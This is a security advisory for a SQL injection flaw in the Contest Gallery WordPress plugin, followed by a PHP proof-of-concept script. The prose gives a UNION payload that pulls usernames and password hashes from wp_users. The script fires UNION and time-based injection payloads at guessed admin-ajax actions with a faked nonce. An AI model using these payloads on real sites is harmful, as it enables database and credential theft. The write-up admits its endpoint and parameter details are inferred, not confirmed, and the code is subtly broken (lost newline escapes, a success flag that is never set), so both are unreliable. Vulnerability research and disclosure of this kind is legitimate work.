Atomic Edge analysis of CVE-2026-24964 (metadata-based):
This vulnerability is a critical SQL injection flaw in the Contest Gallery WordPress plugin. The vulnerability allows unauthenticated attackers to execute arbitrary SQL commands against the plugin’s database. The affected component is likely an AJAX or REST endpoint handler that processes user-supplied parameters without proper sanitization or prepared statement usage.
Atomic Edge research infers the root cause from the vulnerability type. The plugin likely constructs SQL queries by directly concatenating user-controlled input into query strings. This bypasses WordPress’s built-in $wpdb->prepare() security mechanisms. The vulnerable code path probably involves a shortcode handler, gallery display function, or administrative AJAX callback. These conclusions are inferred from the CWE classification and common WordPress plugin patterns, not confirmed via source code review.
Exploitation would target the plugin’s AJAX endpoints via /wp-admin/admin-ajax.php. Attackers would send POST requests with the action parameter set to a contest_gallery-specific hook like contest_gallery_get_images or contest_gallery_vote. The malicious payload would be placed in parameters like gallery_id, image_id, or search_term. A typical payload would use UNION-based injection: ‘ UNION SELECT user_login,user_pass FROM wp_users–. Attackers could also exploit time-based blind SQL injection using SLEEP() commands if error output is suppressed.
Remediation requires implementing proper parameterized queries using WordPress’s $wpdb->prepare() method. The plugin must validate and sanitize all user input before database interaction. Integer parameters should be cast using (int), while string parameters must be escaped and quoted. The fix should also implement proper capability checks for authenticated endpoints and consider implementing a nonce verification system for state-changing operations.
Successful exploitation grants attackers full read access to the WordPress database. This includes sensitive user credentials (password hashes), personal information, and plugin-specific data. Attackers could extract administrator credentials for privilege escalation or modify database content to inject malicious scripts. In configurations with FILE privileges, attackers might achieve arbitrary file read/write or remote code execution through INTO OUTFILE statements.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24964 - Contest Gallery SQL Injection
<?php
$target_url = "http://example.com/wp-admin/admin-ajax.php";
// Common Contest Gallery AJAX actions inferred from plugin patterns
$possible_actions = [
'contest_gallery_get_images',
'contest_gallery_get_galleries',
'contest_gallery_vote',
'contest_gallery_search',
'contest_gallery_load_more'
];
// SQL injection payload to extract database version
$payloads = [
'gallery_id' => "1' UNION SELECT @@version,2,3,4,5-- -",
'image_id' => "1' UNION SELECT @@version,2-- -",
'search' => "' UNION SELECT @@version,2,3 FROM wp_users-- -",
'id' => "1' OR SLEEP(5)-- -"
];
foreach ($possible_actions as $action) {
echo "Testing action: $actionn";
foreach ($payloads as $param => $payload) {
$post_data = [
'action' => $action,
$param => $payload,
'nonce' => 'bypassed' // Nonce may be required but often improperly validated
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if (strpos($response, 'MySQL') !== false || strpos($response, 'MariaDB') !== false) {
echo "[SUCCESS] SQL injection successful via $paramn";
echo "Response snippet: " . substr($response, 0, 200) . "nn";
break 2;
}
if (curl_getinfo($ch, CURLINFO_TOTAL_TIME) > 4.9) {
echo "[SUCCESS] Time-based blind SQL injection detected via $paramnn";
break 2;
}
curl_close($ch);
}
}
// If standard parameters fail, try generic parameter fuzzing
if (!isset($success)) {
echo "Attempting parameter discovery...n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, ['action' => $possible_actions[0], 'test' => "' UNION SELECT @@version-- -"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if (strpos($response, 'MySQL') !== false) {
echo "[SUCCESS] SQL injection via generic parameter 'test'n";
}
curl_close($ch);
}
?>